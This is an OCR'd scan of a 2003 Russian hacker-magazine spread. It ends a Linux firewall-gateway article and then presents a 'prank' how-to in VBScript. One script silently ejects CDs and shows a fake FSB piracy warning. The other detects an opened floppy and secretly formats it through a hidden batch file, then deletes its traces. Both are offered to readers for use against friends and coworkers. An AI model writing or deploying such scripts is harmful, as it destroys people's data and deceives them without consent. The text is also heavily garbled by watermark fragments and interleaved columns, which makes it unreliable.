#Дальше пошла настройка гейта в Инет: GateWayIP=195.161.26.87/32
#Реальный IP сервака /sbin/ipfwadm -B -P tcp -a deny -S
255.255.255.255/0 -D ${GateWayIP} 24:79
# è 80 - âåá
/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${GateWayIP} 0:20
# оставить открытыми порты 21-23 - ftp
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
# не дадим Инета плохим людям, у кото- |
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
e |
|
||||
|
|
|
p |
df |
|
|
|
g |
.c |
|
||
|
|
|
|
|
|
n |
|
|
|
|
||
рых IP попадает в промежуток от 25 до 30. |
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Последняя цифра показывает количество |
|
|
|
|
|
|
|
|
|
|
|
|
обломанных юзеров. |
|
|
|
|
|
|
|
|
|
|
|
|
/sbin/ipfwadm -B -a deny -S |
|
|
|
|
|
|
|
|
|
|
|
|
255.255.255.255/0 -D ${NET}.25/5 |
|
|
|
|
|
|
|
|
|
|
|
|
КАК ЭТО БЫВАЕТ ПО ЖИЗНИ |
|
|
|
|
|
|
|
|
|
|
|
|
А сейчас я расскажу, как было в ре- |
|
|
|
|
|
|
|
|
|
|
|
|
альной жизни. Была маленькая се- |
|
|
|
|
|
|
|
|
|
|
|
|
точка из 25 компов (подъезд + ма- |
|
|
|
|
|
|
|
|
|
|
|
|
ленькая фирма) и была эта сеть |
|
|
|
|
|
|
|
|
|
|
|
|
изолирована от Инета, и не было ни |
|
|
|
|
|
|
|
|
|
|
|
|
у кого проблем с безопасностью, но |
|
|
|
|
|
|
|
|
|
|
|
|
решили на общем собрании юзеры |
|
|
|
|
|
|
|
|
|
|
|
|
инет заиметь. Решили и сделали. |
|
|
|
|
|
|
|
|
|
|
|
|
Еще был один умный чувак, сказав- |
|
|
|
|
|
|
|
|
|
|
|
|
ший, что нам надо поставить гейта |
|
|
|
|
|
|
|
|
|
|
|
|
между всем Инетом и маленьким |
|
|
|
|
|
|
|
|
|
|
|
|
мирком локалки. Воздвигли мы объ- |
|
|
|
|
|
|
|
|
|
|
|
|
единенными усилиями мозгов и пи- |
|
|
|
|
|
|
|
|
|
|
|
|
ва гейт на базе четверки, и стала се- |
|
|
|
|
|
|
|
|
|
|
|
|
точка наша защищена от внешнего |
|
|
|
|
|
|
|
|
|
|
|
|
вторжения фаерволлом, кэширую- |
|
|
|
|
|
|
|
|
|
|
|
|
щий прокси существенно экономил |
|
|
|
|
|
|
|
|
|
|
|
|
входящий траф: за месяц экономия |
|
|
|
|
|
|
|
|
|
|
|
|
составила около 50-150 мегов, то |
|
|
|
|
|
|
|
|
|
|
|
|
есть на пиво с бубликом админам |
|
|
|
|
|
|
|
|
|
|
|
|
хватало. И еще один бонус: так как |
|
|
|
|
|
|
|
|
|
|
|
|
мы юзаем только один IP из сети |
|
|
|
|
|
|
|
|
|
|
|
|
провайдера, то договорились на |
|
|
|
|
|
|
|
|
|
|
|
|
абонентскую плату в 500 рублей + |
|
|
|
|
|
|
|
|
|
|
|
|
пиво, а должны были 25*100=2500 |
|
|
|
|
|
|
|
|
|
|
|
|
рублей. А что до тормозов, то маши- |
|
|
|
|
|
|
|
|
|
|
|
|
на справлялась, даже когда все 25 |
|
|
|
|
|
|
|
|
|
|
|
|
юзеров выходили в Инет разом, |
|
|
|
|
|
|
|
|
|
|
|
|
правда, канал не резиновый, и |
|
|
|
|
|
|
|
|
|
|
|
|
пришлось мне чуток схитрить: пос- |
|
|
|
|
|
|
|
|
|
|
|
|
тавить на свой IP приоритет повы- |
|
|
|
|
|
|
|
|
|
|
|
|
ше, чтобы в Инете без тормозов си- |
|
|
|
|
|
|
|
|
|
|
|
|
деть, но это другая история. Вот так. |
|
|
|
|
|
|
|
|
|
|
|
|
Надеюсь, ты понял, что во всех от- |
|
|
|
|
|
|
|
|
|
|
|
|
ношениях установка компа на гра- |
|
|
|
|
|
|
|
|
|
|
|
|
нице сетей - очень хороший ход. |
|
|
|
|
|
|
|
|
|
|
|
|
Вот так все просто и круто. Убедил- |
|
|
|
|
|
|
|
|
|
|
|
|
ся, что сила не в гигагерцах, а в пря- |
|
|
|
|
|
|
|
|
|
|
|
|
мых руках и Линухе? Так можно сде- |
|
|
|
|
|
|
|
|
|
|
|
|
лать очень много. Удачи тебе в нелег- |
|
|
|
|
|
|
|
|
|
|
|
|
ком труде начинающего сисадмина. |
|
|
|
|
|
|
|
|
|
|
|
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
HOWTO/ВОЗВРАЩЕНИЕ БЛОКНОТА |
||||||
w Click |
to |
BUY |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
ВОЗВРАЩЕНИЕ |
||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
БЛОКНОТА |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ÎÑè 4work
ГОТОВИМ ЗАПАДЛО НА СКРИПТАХ
Анализирующий |
Привет, великий западлостроитель. Я надеюсь, от тебя не отвернулись еще твои |
(analyst1945@mail.ru) |
друзья-компьютерщики (а других у тебя быть не может - вам просто не о чем |
|
разговаривать), тебя не выгоняют из компьютерных клубов, а на работе злой админ |
|
не запретил запуск любимого Блокнота. Тогда появился реальный шанс припомнить |
|
былые обиды и попрактиковаться в любимом хобби - западлостроении. Об этом я тебе |
|
расскажу в сегодняшней статье. |
|
|
Предлагаемый код в компиляции не нуждается и пишется в любом текстовом редакторе.
Âкратце напомню, что весь предлагаемый далее код в компиля-
ции не нуждается и пишется в любом текстовом редакторе (лишь бы формат выходного файла был текстовый.), сохраняется в текстовом файле с расширением WSF и запускается так же, как и ЕХЕ-файлы. Не забудь добавлять обязательные XML элементы:
<?xml version=”1.0” encoding=”ISO-8859-1”?> |
|
|
|
|
<job id=”T1”> |
|
|
|
|
<script language=”VBScript”> |
|
|
|
|
<![CDATA[ |
|
|
|
|
в начало файла и |
|
|
|
|
]]> |
|
|
||
|
Microsoft Script Encoder обладает обширной справочной службой |
|||
</script> |
|
|
|
‘Подключение системных объектов |
</job> |
ратской копией. Мы же с тобой зай- |
|
||
|
мемся тем, что будем при попытке |
Do while f=0 |
||
в конец файла соответственно. |
использования такого диска извле- |
‘Создается бесконечный цикл |
||
Итак, приступим. |
кать его с выдачей ну оч-ч-ч-ень |
‘для работы скрипта до перезагрузки |
||
|
строгого предупреждения :). Делать |
WScript.sleep 5000 |
||
БОРЬБА С ПИРАТСТВОМ |
это будем, конечно же, с помощью |
‘Пауза между проверками наличия диска в |
||
Скажи, где ты брал диск с дистрибу- |
сценариев на языке VBScript. Итак, |
дисководе в миллисекундах |
||
тивом твоей ОСи? А за сколько? |
пиши следующий код: |
Count=-1 |
||
Что-что? ЛИЦЕНЗИОННАЯ?! И все |
|
|
|
‘Начальное положение счетчика |
остальные диски ТОЖЕ? Ну, тогда |
Option Explicit |
‘Нужен на случай нескольких сидюков |
||
бросай журнал и иди кататься с де- |
Dim fso,mplayer |
For Each Drive in FSO.Drives |
||
вочками (мальчиками :)) на яхте. |
Dim Drive |
‘Проверка всех дисков компа |
||
Это будет для тебя более полезным |
Dim Count, f |
If Drive.DriveType=4 then |
||
занятием. Реально же, по офици- |
f=0 |
‘Если это сидюк |
||
альным данным, пиратский рынок в |
‘Объявляются используемые переменные |
count=count+1 |
||
России составляет 89 процентов. То |
On Error Resume Next |
‘То увеличиваем счетчик |
||
есть с вероятностью 1:10 можно ут- |
‘Блокировка сообщений об ошибках |
if Drive.IsReady Then |
||
верждать, что вставленная в диско- |
set fso=CreateObject |
‘Если он вставлен |
||
вод компашка, если это не |
|
(“Scripting.FileSystemObject”) |
If (fso.fileexists(Drive.DriveLetter & “:\” & |
|
собственный сборник, является пи- |
set mplayer=CreateObject(“WMPlayer.OCX.7”) |
“Autorun.inf”)) then |
||
|
|
|
|
‘È íà íåì åñòü ôàéë Autorun.inf |
|
|
|
|
‘Значит есть автозапуск |
|
|
|
|
‘И это не ручной сборник |
|
|
|
|
‘(кто ставит на ручной сборник автоза- |
|
|
|
|
ïóñê? %)) |
|
|
|
|
‘И не музыкальный диск |
|
|
|
|
mplayer.cdromcollection.item(count).eject() |
|
|
|
|
‘Извлекается лоток |
|
|
|
|
msgbox “Обнаружена пиратская копия дис- |
|
|
|
|
ка. Дальнейшая работа с диском невоз- |
|
|
|
|
можна.” &_ |
Так выглядит предупреждение пользователя |
|
vbcrlf & “Сообщите в местные органы ФСБ |
||
|
|
|
|
|
|
|
|
|
|
|
|
page |
046 |
|
08(33) 2003 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
||||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
|
|
E |
|
|
|||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|
|||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
HOWTO/ВОЗВРАЩЕНИЕ БЛОКНОТА |
|
|
|
|||||||||||||
w Click |
to |
BUY |
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
w Click |
to |
BUY |
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
. |
|
|
|
|
|
|
о месте его покупки.”,48,_ |
|
H O W T |
O |
|
|
|
|
|
. |
|
|
|
|
|
|
|
e |
|
|||||||
|
|
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
p |
df |
|
|
|
g |
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
df |
|
|
|
|
|
g |
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
n |
|
|
||||
|
|
|
|
-xcha |
|
|
“Антипиратская система Windows” |
Кодировка специальных клавиш |
|
|
|
|
|
|
-x cha |
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
‘И выдается грозное предупреждение |
в методе SendKeys |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
End if |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
End If |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
End If |
|
|
|
Esc |
|
{ESC} |
Page Up |
{PGUP} |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
Next |
|
|
|
Tab |
|
{TAB} |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
Delete |
{DEL} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
Loop |
|
|
|
Caps Lock |
|
{CAPSLOCK} |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
End |
{END} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Backspace |
|
{BS}, {BKSP} èëè |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
Можешь не сомневаться, что твой |
|
Page Down |
{PGDN} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
{BACKSPACE} |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
ламернутый друган или не менее |
|
|
Стрелка влево |
{LEFT} |
|
|
|
|
|
|
|
ÎÑè |
|
|
||||||||||
|
|
|
|
|
|
|
|
|
Enter |
|
{ENTER} èëè ~ |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
ламернутая секретарша будут рас- |
|
Стрелка вправо {RIGHT} |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
{PRTSC} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
сказывать об этой “защите” всем и |
|
Стрелка вверх |
{UP} |
|
|
|
|
|
|
|
4work |
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
Scroll Lock |
|
{SCROLLLOCK} |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
каждому, а первым делом побегут в |
|
Стрелка вниз |
{DOWN} |
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
Break |
|
{BREAK} |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
магазин, продавший этот диск, а |
|
F1 |
{F1} |
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
Insert |
|
{INS} èëè |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
может и в ФСБ позвонят ;). |
|
F12 |
{F12} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
При желании можешь усовершен- |
|
|
{INSERT} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
Space |
chr(32) |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
ствовать этот скрипт. Например, |
Home |
|
{HOME} |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
можно считать количество попыток |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
On Error Resume Next |
|
‘Причем в скрытом режиме |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
использования диска и каждый раз |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
выдавать новое предупреждение. В |
‘Блокировка сообщений об ошибках |
|
End if |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
общем, пофантазируй. |
set WshShell=WScript.CreateObject |
|
End if |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(“WScript.Shell”) |
|
‘Заново повторяется вся процедура |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
ИЗДЕВАЕМСЯ НАД FDD |
Set fso = CreateObject |
|
Loop |
|
|
Можешь не |
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
И ЕГО ХОЗЯИНОМ |
|
|
(“Scripting.FileSystemObject”) |
|
|
|
|
сомневаться, |
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
÷òî òâîé ëà- |
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
С оптическими дисками разобра- |
‘Подключаются системные объекты |
|
Эта фича будет работать при ус- |
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
мернутый дру- |
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
лись, но остались дискеты. Что |
Do While x=0 |
|
|
|
|
ловиях: |
|
|
ган будет рас- |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
можно делать с дискетами? Извле- |
‘Создается бесконечный цикл |
1. Дискета не защищена от запи- |
|
сказывать об |
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
этой “защите” |
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
кать не получится по причине отсу- |
‘для работы скрипта до перезагрузки |
ñè. |
|
|
всем и каждо- |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
тствия какой либо связи данной ме- |
Wscript.sleep 10000 |
|
2. В “Свойствах папки” - “Вид” - |
му, а первым |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
делом побежит |
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
ханической части с электроникой. |
‘Пауза между проверками наличия диска |
|
отмечена опция “Выводить полный |
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
в магазин, |
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
Остается логическая составляю- |
в дисководе в миллисекундах |
|
|
путь в строке заголовка”. |
продавший |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
åìó ýòîò äèñê. |
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
щая. Самым оптимальным вариан- |
If WshShell.AppActivate(“A:”) then |
3. Окно проводника с содержимым |
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
А может и в |
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
том мне представляется формати- |
‘Если юзер открыл окно дискеты |
|
дискеты открыто, пусть даже в |
ФСБ позвонит. |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
рование, причем скрытое. Открыл |
‘Значит он вставил ее в дисковод |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
так чел документ с дискетки, рабо- |
Set flopp = fso.GetDrive(“A”) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
тает потихоньку, глянь - а файлов- |
‘Получаем доступ к флоппу |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
то и нет! Только осторожно: воз- |
If flopp.IsReady and flopp.FreeSpace <> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
можны приступы вандализма, чле- |
flopp.TotalSize then |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
новредительство :), громкие раз- |
‘Если он не чистый |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
мышления на тему вирусов, виру- |
‘То создается файл с ответами |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
сописателей и интимной жизни их |
Set txtcom = fso.opentextfile(command- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
родственников. |
|
file,2,true) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Приступим. |
|
|
txtcom.writeline |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
txtcom.writeline “y” |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Консоль Windows XP с успехом |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
Option Explicit |
|
txtcom.close |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
выполняет многие команды MS-DOS |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
Dim WshShell, fso,flopp, odrive |
‘и пакетный файл с командой форматиро- |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
Dim commandfile, batfile, txtcom, txtbat |
вания |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
Dim disklabel, x |
|
‘и заметания следов |
свернутом виде, как минимум 10 се- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
‘Объявляем используемые переменные |
Set txtbat = fso.opentextfile(batfile,2,true) |
кунд. Если интервал не устраивает, |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
commandfile=”c:\LOG.LOG” |
|
txtbat.writeline “format a: /q /v:” & disklabel |
измени строку |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
‘Имя файла с командами, передаваемыми |
& “ < “ & commandfile |
|
Wscript.sleep 10000 |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
программе форматирования |
txtbat.writeline “del “ & commandfile |
например, на |
|
|
Дискета фор- |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
batfile=”c:\file.bat” |
|
txtbat.writeline “del “ & batfile |
|
Wscript.sleep 5000 |
|
|
матируется |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
‘Имя запускаемого файла |
|
txtbat.close |
|
|
|
|
4. Корень диска С не защищен от |
äàæå ïðè îòê- |
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
рытых на ней |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
disklabel=”Loh” |
|
WshShell.run batfile,0 |
записи (бывает и такое). В против- |
файлах. |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
‘Метка для форматируемого диска |
‘Теперь полученная парочка принимается |
ном случае замени имена (располо- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
x=0 |
|
|
|
за работу |
|
|
|
|
жение) файлов c:\LOG.LOG и |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
c:\file.bat на другие. В принципе, |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
имена и расширения могут быть |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
H O W T O |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
Коды для комбинаций клавиш |
|
|
|
|
любыми. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
в методе SendKeys |
|
|
|
|
|
5. Данному пользователю разре- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
шено форматировать дискеты |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(Windows 2k/XP). |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Shift |
+ перед кодом второй клавиши |
|
|
|
|
6. Если террор производится на |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
компе под управлением Windows |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
Ctrl |
^ перед кодом второй клавиши |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
XP, то дискета форматируется даже |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
Alt |
% перед кодом второй клавиши |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
при открытых на ней файлах. Если |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
Вывод повторяющихся клавиш {код_клавиши число_повторов} |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
же используется Винда из серии |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
ПРИМЕРЫ: |
|
|
|
|
|
|
|
9х/МЕ, то нужно заменить строку |
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
txtcom.writeline “y” |
|
|
|
|
|
|
|
|
